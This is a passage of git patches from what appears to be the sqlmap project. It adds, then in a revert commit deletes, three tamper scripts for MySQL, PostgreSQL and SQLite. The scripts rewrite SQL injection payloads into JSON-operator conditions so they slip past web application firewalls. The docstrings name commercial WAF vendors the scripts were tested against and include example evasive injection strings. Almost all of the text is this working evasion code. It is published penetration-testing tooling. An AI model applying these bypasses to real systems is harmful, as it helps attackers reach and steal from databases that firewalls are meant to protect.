+    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
+
+
+def generate_element_by_hashtag_int_payload():
+    return generate_element_by_hashtag_payload(isString=False)
+
+
+def generate_element_by_hashtag_str_payload():
+    return generate_element_by_hashtag_payload(isString=True)
+
+
+def generate_json_left_contains_payload():
+    keys = []
+    values = []
+    for i in range(3):
+        keys.append(generate_random_string())  # Json must always have a string as a value
+        values.append(generate_random_int())
+    random_index = random.randint(0, 2)
+    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
+
+
+def generate_payload(isString, isBrackets):
+    payload = '(' if isBrackets else ""
+    if isString:
+        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+    else:
+        payload += generate_int_payload()
+
+    return payload
+
+
+def generate_random_payload():
+    if random.randint(0,1):
+        return generate_str_payload()
+    return generate_int_payload()
+
+def tamper(payload, **kwargs):
+    """
+    
+    Bypasses generic WAFs using JSON SQL Syntax.
+
+    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
+
+    Tested against:
+        * PostgreSQL v15.0 - however every version after v9.2 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
+
+    Notes:
+
+        * References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+            1) #>>
+            2) @>
+            3) ->> (index)
+            4) ->> (str)
+
+        Possible str payloads:
+            1) ->> (str)
+            2) ->> (index)
+            3) #>>
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
+    >>> tamper('and 4515=8950')
+    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
+    """
+    payload = payload.replace(r'%20', " ")  # Fix regex for later
+    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
+    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
+
+    if bad_string_match:
+        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
+
+    retVal = payload
+
+    if payload:
+
+        match = re.search(pattern, payload)
+
+        if match:
+            pre = match.group('pre')
+            # Is our payload a string.
+            isString = pre.startswith("'")
+            isBrackets = pre.startswith("')") or pre.startswith(")")
+            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
+            wafPayload = generate_random_payload()
+            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+        else:
+            extract_value_match = re.search(pattern_extract_value, payload)
+
+            if extract_value_match:  # Replaces extractvalue because many WAFs target it
+                wafPayload = generate_random_payload()
+                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
+
+            else:
+                condition_match = re.match(pattern_when_where, payload)
+
+                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
+                    wafPayload = generate_random_payload()
+                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
+
+        case_match = re.search(pattern_replace_case, retVal)
+
+        if case_match:  # Replaces case statements because many WAFs target this syntax
+
+            # Check if the case statement expects the left or right option
+            if case_match.group("leftComp") == case_match.group("rightComp"):
+                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
+
+            else:
+                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
+
+    return retVal
+
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
new file mode 100644
index 00000000000..ce0c4507e57
--- /dev/null
+++ b/tamper/json_waf_bypass_sqlite.py
@@ -0,0 +1,178 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+See the file 'LICENSE' for copying permission
+"""
+
+# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
+pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
+import re, random, string
+
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+DEBUG = False
+
+
+def dependencies():
+	pass
+
+
+# Possible int payloads:
+# 1) JSON_LENGTH()
+# 2) json_depth
+# 3) JSON_EXTRACT()
+# 3) JSON_EXTRACT operator
+
+def generate_int_payload():
+	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
+	return (random.choice(INT_FUNCTIONS))()
+
+
+# Possible STR payloads:
+# 2) JSON_EXTRACT
+# 2) JSON_EXTRACT Operator
+# 3) JSON_QUOTE('null')
+
+def generate_str_payload():
+	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
+	return (random.choice(STR_FUNCTIONS))()
+
+
+def generate_random_string(length=15):
+	str_length = random.randint(1, length)
+	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
+
+
+def generate_random_int():
+	return random.randint(2, 10000)
+
+
+def generate_length_payload():
+	rand_int = generate_random_int()
+	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
+
+
+def generate_quote_payload():
+	var = generate_random_string()
+	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
+
+
+def generate_int_extract_payload():
+	return generate_extract_payload(isString=False)
+
+
+def generate_str_extract_payload():
+	return generate_extract_payload(isString=True)
+
+
+def generate_int_extract_operator_payload():
+	return generate_extract_operator_payload(isString=False)
+
+
+def generate_str_extract_operator_payload():
+	return generate_extract_operator_payload(isString=True)
+
+
+def generate_extract_payload(isString=False):
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
+	value = generate_random_int()
+	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
+
+
+def generate_extract_operator_payload(isString=False):
+
+	key = generate_random_string()
+	if isString:
+		value = generate_random_string()
+		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
+	value = generate_random_int()
+	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
+
+
+def generate_payload(isString, isBrackets):
+	payload = '(' if isBrackets else ""
+	if isString:
+		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
+	else:
+		payload += generate_int_payload()
+
+	return payload
+
+
+def generate_random_payload():
+	if random.randint(0, 1):
+		return generate_str_payload()
+	return generate_int_payload()
+
+
+def tamper(payload, **kwargs):
+	"""
+        
+    Bypasses generic WAFs using JSON SQL Syntax. 
+
+    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
+
+    Tested against:
+        * SQLite v3.39.4 - however every version after v3.38.0 should work
+
+    Usage:
+        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
+
+    Notes:
+
+    	* References: 
+            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
+            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
+        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
+        * JSON techniques were tested againts the following WAF vendors:
+            * Amazon AWS ELB
+            * CloudFlare
+            * F5 BIG-IP
+            * Palo-Alto Next Generation Firewall
+            * Imperva Firewall
+
+        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
+          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
+
+        Possible int payloads:
+			1) JSON_LENGTH()
+			2) json_depth
+			3) JSON_EXTRACT()
+			3) JSON_EXTRACT operator
+
+        Possible STR payloads:
+			2) JSON_EXTRACT
+			2) JSON_EXTRACT Operator
+			3) JSON_QUOTE('null')
+
+    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
+    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
+    >>> tamper('and 4515=8950')
+    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
+    """
+	retVal = payload
+
+	if payload:
+		match = re.search(pattern, payload)
+
+		if match:
+			pre = match.group('pre')
+
+			# Is our payload is a string.
+			isString = pre.startswith("'")
+			isBrackets = pre.startswith("')") or pre.startswith(")")
+			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
+			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
+
+		else:
+
+			if payload.lower().startswith("' union"):
+				wafPayload = generate_random_payload()
+				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
+
+	return retVal

From 5592f55cae43bb86de8eace3b2c425e69c5348f0 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Fri, 23 Dec 2022 15:59:12 +0100
Subject: [PATCH 038/524] Revert "JSON WAF bypass tamper scripts (#5260)"
 (#5273)

This reverts commit 12e3ed14ae310608293aadeeff53760366bc3556.
---
 doc/THANKS.md                      |   3 -
 tamper/json_waf_bypass_mysql.py    | 163 --------------------
 tamper/json_waf_bypass_postgres.py | 237 -----------------------------
 tamper/json_waf_bypass_sqlite.py   | 178 ----------------------
 4 files changed, 581 deletions(-)
 delete mode 100644 tamper/json_waf_bypass_mysql.py
 delete mode 100644 tamper/json_waf_bypass_postgres.py
 delete mode 100644 tamper/json_waf_bypass_sqlite.py

diff --git a/doc/THANKS.md b/doc/THANKS.md
index fdbabaf574f..dc49071a915 100644
--- a/doc/THANKS.md
+++ b/doc/THANKS.md
@@ -789,9 +789,6 @@ x, 
 zhouhx, 
 * for contributing a minor patch
 
-Noam Moshe Claroty Team82
-* for contributing WAF scripts json_waf_bypass_postgres.py, json_waf_bypass_sqlite.py, json_waf_bypass_mysql.py
-
 # Organizations
 
 Black Hat team, 
diff --git a/tamper/json_waf_bypass_mysql.py b/tamper/json_waf_bypass_mysql.py
deleted file mode 100644
index e2b15d4dc13..00000000000
--- a/tamper/json_waf_bypass_mysql.py
+++ /dev/null
@@ -1,163 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different compontets, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-def dependencies():
-    pass
-
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_length_payload, generate_depth_paylod, generate_int_extract_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-# 2) JSON_EXTRACT
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-    print("generate_str_payload")
-    STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload]
-    return (random.choice(STR_FUNCTIONS))()
-    return 'JSON_EXTRACT(\'{"a": "1"}\', \'$.a\') = \'1\''
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_length_payload():
-    return f"JSON_LENGTH(\"{{}}\") <= {generate_random_int()}"
-
-
-def generate_depth_paylod():
-    return f"JSON_DEPTH(\"{{}}\") != {generate_random_int()}"
-
-
-def generate_quote_payload():
-    var = generate_random_string()
-    return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-    return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-    return generate_extract_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-    key = generate_random_string()
-    if isString:
-        value = generate_random_string()
-        return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-    value = generate_random_int()
-    return f'JSON_EXTRACT("{{\\"{key}\\": {value}}}", "$.{key}") = "{value}"'
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1] # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-        
-    Bypasses generic WAFs using JSON SQL Syntax.
-    For more details about JSON in MySQL - https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html
-
-    Tested against:
-        * MySQL v8.0 - however every version after v5.7.8 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_mysql.py
-
-    Notes:
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) JSON_LENGTH()
-            2) json_depth
-            3) JSON_EXTRACT()
-
-        Possible STR payloads:
-            1) SELECT JSON_KEYS('{"a": 1, "b": {"c": 30}}');
-            2) JSON_EXTRACT
-            3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_EXTRACT('{"ilDQUNfX": "KuIjjFkFsok"}', '$.ilDQUNfX') = 'KuIjjFkFsok '''
-    >>> tamper('and 4515=8950--')
-    '''  and JSON_EXTRACT("{\"CoGqzQjy\": 3825}", "$.CoGqzQjy") = "3825" '''
-    """
-
-    payload = payload.replace(r'%20', " ")
-    #
-    retVal = payload
-
-    if payload:
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-
-            # Is our payload is a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        else:
-
-            if payload.lower().startswith("' union"):
-                wafPayload = generate_random_payload()
-
-                retVal = f"' and {wafPayload} {payload[1:]}" # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_postgres.py b/tamper/json_waf_bypass_postgres.py
deleted file mode 100644
index bc368ebfd52..00000000000
--- a/tamper/json_waf_bypass_postgres.py
+++ /dev/null
@@ -1,237 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-pattern_extract_value = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?PEXTRACTVALUE.*)"
-pattern_when_where = r"(?i)(?P
.*)\s*\b(?PWHERE|WHEN)\b\s*(?P.*)"
-pattern_replace_case = r"(?i)(?P\(select.*when\s*\((?P.*?)=(?P.*?)\).*?then\s*(?P\(.*?\))\s*else\s*(?P\(.*?\)).*?end\)\))"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-
-
-def dependencies():
-    pass
-
-
-# Possible int payloads:
-# 1) #>>
-# 2) @>
-# 3) ->> (index)
-# 4) ->> (str)
-
-def generate_int_payload():
-    INT_FUNCTIONS = [generate_element_by_id_int_payload, generate_element_by_key_int_payload, generate_element_by_hashtag_int_payload, generate_json_left_contains_payload]
-    return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible str payloads:
-# 1) ->> (str)
-# 2) ->> (index)
-# 3) #>>
-
-
-def generate_str_payload():
-    STR_FUNCTIONS = [generate_element_by_id_str_payload,generate_element_by_key_str_payload, generate_element_by_hashtag_str_payload]
-    return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-    str_length = random.randint(1,length)
-    return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-    return random.randint(2, 10000)
-
-
-def generate_element_by_id_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    values = []
-    for i in range(3):
-        values.append(random_generator())
-    random_index = random.randint(0,2)
-    if isString:
-        return f'\'["{values[0]}", "{values[1]}", "{values[2]}"]\'::jsonb->>{random_index} = \'{values[random_index]}\''
-    return f"(\'[{values[0]}, {values[1]}, {values[2]}]\'::jsonb->>{random_index})::int8 = {values[random_index]}"
-
-
-def generate_element_by_id_int_payload():
-    return generate_element_by_id_payload(isString=False)
-
-
-def generate_element_by_id_str_payload():
-    return generate_element_by_id_payload(isString=True)
-
-
-def generate_element_by_key_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb->>'{keys[random_index]}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb->>'{keys[random_index]}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_key_int_payload():
-    return generate_element_by_key_payload(isString=False)
-
-
-def generate_element_by_key_str_payload():
-    return generate_element_by_key_payload(isString=True)
-
-
-def generate_element_by_hashtag_payload(isString):
-    random_generator = generate_random_string if isString else generate_random_int
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(random_generator())
-    random_index = random.randint(0, 2)
-    if isString:
-        return f"'{{\"{keys[0]}\" : \"{values[0]}\", \"{keys[1]}\" : \"{values[1]}\", \"{keys[2]}\" : \"{values[2]}\"}}'::jsonb%23>>'{{{keys[random_index]}}}' = '{values[random_index]}'"
-    return f"('{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb%23>>'{{{keys[random_index]}}}')::int8 = {values[random_index]}"
-
-
-def generate_element_by_hashtag_int_payload():
-    return generate_element_by_hashtag_payload(isString=False)
-
-
-def generate_element_by_hashtag_str_payload():
-    return generate_element_by_hashtag_payload(isString=True)
-
-
-def generate_json_left_contains_payload():
-    keys = []
-    values = []
-    for i in range(3):
-        keys.append(generate_random_string())  # Json must always have a string as a value
-        values.append(generate_random_int())
-    random_index = random.randint(0, 2)
-    return f"'{{\"{keys[0]}\" : {values[0]}, \"{keys[1]}\" : {values[1]}, \"{keys[2]}\" : {values[2]}}}'::jsonb @> '{{\"{keys[random_index]}\": {values[random_index]}}}'"
-
-
-def generate_payload(isString, isBrackets):
-    payload = '(' if isBrackets else ""
-    if isString:
-        payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-    else:
-        payload += generate_int_payload()
-
-    return payload
-
-
-def generate_random_payload():
-    if random.randint(0,1):
-        return generate_str_payload()
-    return generate_int_payload()
-
-def tamper(payload, **kwargs):
-    """
-    
-    Bypasses generic WAFs using JSON SQL Syntax.
-
-    For more details about JSON in PostgreSQL - https://www.postgresql.org/docs/9.3/functions-json.html
-
-    Tested against:
-        * PostgreSQL v15.0 - however every version after v9.2 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_postgres.py
-
-    Notes:
-
-        * References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-            1) #>>
-            2) @>
-            3) ->> (index)
-            4) ->> (str)
-
-        Possible str payloads:
-            1) ->> (str)
-            2) ->> (index)
-            3) #>>
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and '["cyelIKsSqxw", "TjFXJ", "p"]'::jsonb->>1 = 'TjFXJ '''
-    >>> tamper('and 4515=8950')
-    '''  and ('{"znxqmFaPSFPHbL" : 9783, "thtt" : 3922, "EhFySUTUc" : 2490}'::jsonb%23>>'{thtt}')::int8 = 3922 '''
-    """
-    payload = payload.replace(r'%20', " ")  # Fix regex for later
-    payload = payload.lower().replace("union all", "union")  # Replace union all with union in order to bypass many common WAFs
-    bad_string_match = re.search(r"(from \(select \d+)", payload)  # Replaces suffix identified by many WAFs
-
-    if bad_string_match:
-        payload = payload[:payload.find(bad_string_match.group(1))] + f"--{generate_random_string()} "
-
-    retVal = payload
-
-    if payload:
-
-        match = re.search(pattern, payload)
-
-        if match:
-            pre = match.group('pre')
-            # Is our payload a string.
-            isString = pre.startswith("'")
-            isBrackets = pre.startswith("')") or pre.startswith(")")
-            wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-            retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-        elif payload.lower().startswith("' union"):  # Increase evasiveness in union payloads
-            wafPayload = generate_random_payload()
-            retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-        else:
-            extract_value_match = re.search(pattern_extract_value, payload)
-
-            if extract_value_match:  # Replaces extractvalue because many WAFs target it
-                wafPayload = generate_random_payload()
-                retVal = f"{extract_value_match.group('pre')} {extract_value_match.group('relation')} {wafPayload} {extract_value_match.group('relation')} {extract_value_match.group('extractValueRest')}"
-
-            else:
-                condition_match = re.match(pattern_when_where, payload)
-
-                if condition_match:  # Replaces when/where payloads with regular payloads because many WAFs target this keywords
-                    wafPayload = generate_random_payload()
-                    retVal = f"{condition_match.group('pre')} {condition_match.group('condition')} {wafPayload} and {condition_match.group('rest')}"
-
-        case_match = re.search(pattern_replace_case, retVal)
-
-        if case_match:  # Replaces case statements because many WAFs target this syntax
-
-            # Check if the case statement expects the left or right option
-            if case_match.group("leftComp") == case_match.group("rightComp"):
-                retVal = retVal.replace(case_match.group('all'), case_match.group('firstCase'))
-
-            else:
-                retVal = retVal.replace(case_match.group('all'), case_match.group('secondCase'))
-
-    return retVal
-
diff --git a/tamper/json_waf_bypass_sqlite.py b/tamper/json_waf_bypass_sqlite.py
deleted file mode 100644
index ce0c4507e57..00000000000
--- a/tamper/json_waf_bypass_sqlite.py
+++ /dev/null
@@ -1,178 +0,0 @@
-#!/usr/bin/env python
-
-"""
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
-See the file 'LICENSE' for copying permission
-"""
-
-# Patterns breaks down SQLi payload into different components, and replaces the logical comparison.
-pattern = r"(?i)(?P
.*)\s*\b(?PAND|OR)\b\s*(?P\(?\'.*?(?=|=|like)(?P\(?\'.*?(?.*)"
-import re, random, string
-
-from lib.core.enums import PRIORITY
-
-__priority__ = PRIORITY.HIGHEST
-DEBUG = False
-
-
-def dependencies():
-	pass
-
-
-# Possible int payloads:
-# 1) JSON_LENGTH()
-# 2) json_depth
-# 3) JSON_EXTRACT()
-# 3) JSON_EXTRACT operator
-
-def generate_int_payload():
-	INT_FUNCTIONS = [generate_length_payload, generate_int_extract_payload, generate_int_extract_operator_payload]
-	return (random.choice(INT_FUNCTIONS))()
-
-
-# Possible STR payloads:
-# 2) JSON_EXTRACT
-# 2) JSON_EXTRACT Operator
-# 3) JSON_QUOTE('null')
-
-def generate_str_payload():
-	STR_FUNCTIONS = [generate_str_extract_payload, generate_quote_payload, generate_str_extract_operator_payload]
-	return (random.choice(STR_FUNCTIONS))()
-
-
-def generate_random_string(length=15):
-	str_length = random.randint(1, length)
-	return "".join(random.choice(string.ascii_letters) for i in range(str_length))
-
-
-def generate_random_int():
-	return random.randint(2, 10000)
-
-
-def generate_length_payload():
-	rand_int = generate_random_int()
-	return f"JSON_ARRAY_LENGTH(\"[]\") <= {generate_random_int()}"
-
-
-def generate_quote_payload():
-	var = generate_random_string()
-	return f"JSON_QUOTE('{var}') = '\"{var}\"'"
-
-
-def generate_int_extract_payload():
-	return generate_extract_payload(isString=False)
-
-
-def generate_str_extract_payload():
-	return generate_extract_payload(isString=True)
-
-
-def generate_int_extract_operator_payload():
-	return generate_extract_operator_payload(isString=False)
-
-
-def generate_str_extract_operator_payload():
-	return generate_extract_operator_payload(isString=True)
-
-
-def generate_extract_payload(isString=False):
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'JSON_EXTRACT(\'{{"{key}": "{value}"}}\', \'$.{key}\') = \'{value}\''
-	value = generate_random_int()
-	return f'JSON_EXTRACT("{{""{key}"": {value}}}", "$.{key}") = {value}'
-
-
-def generate_extract_operator_payload(isString=False):
-
-	key = generate_random_string()
-	if isString:
-		value = generate_random_string()
-		return f'\'{{"{key}": "{value}"}}\'->> \'$.{key}\' = \'{value}\''
-	value = generate_random_int()
-	return f'"{{""{key}"": {value}}}" ->> "$.{key}" = {value}'
-
-
-def generate_payload(isString, isBrackets):
-	payload = '(' if isBrackets else ""
-	if isString:
-		payload += generate_str_payload()[:-1]  # Do not use the last ' because the application will add it.
-	else:
-		payload += generate_int_payload()
-
-	return payload
-
-
-def generate_random_payload():
-	if random.randint(0, 1):
-		return generate_str_payload()
-	return generate_int_payload()
-
-
-def tamper(payload, **kwargs):
-	"""
-        
-    Bypasses generic WAFs using JSON SQL Syntax. 
-
-    For more details about JSON in SQLite - https://www.sqlite.org/json1.html
-
-    Tested against:
-        * SQLite v3.39.4 - however every version after v3.38.0 should work
-
-    Usage:
-        python3 sqlmap.py  --tamper json_waf_bypass_sqlite.py
-
-    Notes:
-
-    	* References: 
-            * https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf 
-            * https://www.blackhat.com/eu-22/briefings/schedule/#js-on-security-off-abusing-json-based-sql-queries-28774
-        * Usefull for bypassing any JSON-unaware WAFs with minor-to-no adjusments
-        * JSON techniques were tested againts the following WAF vendors:
-            * Amazon AWS ELB
-            * CloudFlare
-            * F5 BIG-IP
-            * Palo-Alto Next Generation Firewall
-            * Imperva Firewall
-
-        * This script alters the SQLi payload by replacing the condition statement with JSON-specific payloads,
-          depending on the SQLi type. Here is a list of supported payload types: (int/string depends on the condition check type)
-
-        Possible int payloads:
-			1) JSON_LENGTH()
-			2) json_depth
-			3) JSON_EXTRACT()
-			3) JSON_EXTRACT operator
-
-        Possible STR payloads:
-			2) JSON_EXTRACT
-			2) JSON_EXTRACT Operator
-			3) JSON_QUOTE('null')
-
-    >>> tamper("' and 5626=9709 and 'kqkk'='kqkk")
-    ''' ' and 5626=9709  and JSON_QUOTE('UG') = '"UG" '''
-    >>> tamper('and 4515=8950')
-    '''  and JSON_ARRAY_LENGTH("[]") <= 9100 '''
-    """
-	retVal = payload
-
-	if payload:
-		match = re.search(pattern, payload)
-
-		if match:
-			pre = match.group('pre')
-
-			# Is our payload is a string.
-			isString = pre.startswith("'")
-			isBrackets = pre.startswith("')") or pre.startswith(")")
-			wafPayload = generate_payload(isString=isString, isBrackets=isBrackets)
-			retVal = f"{match.group('pre')} {match.group('relation')} {wafPayload}{match.group('post')}"
-
-		else:
-
-			if payload.lower().startswith("' union"):
-				wafPayload = generate_random_payload()
-				retVal = f"' and {wafPayload} {payload[1:]}"  # replace ' union select... with ' and FALSE_WAF_BYPASS union select...
-
-	return retVal

From 6e3eaca54751e50bbd11572f1059c811cc0d5f23 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
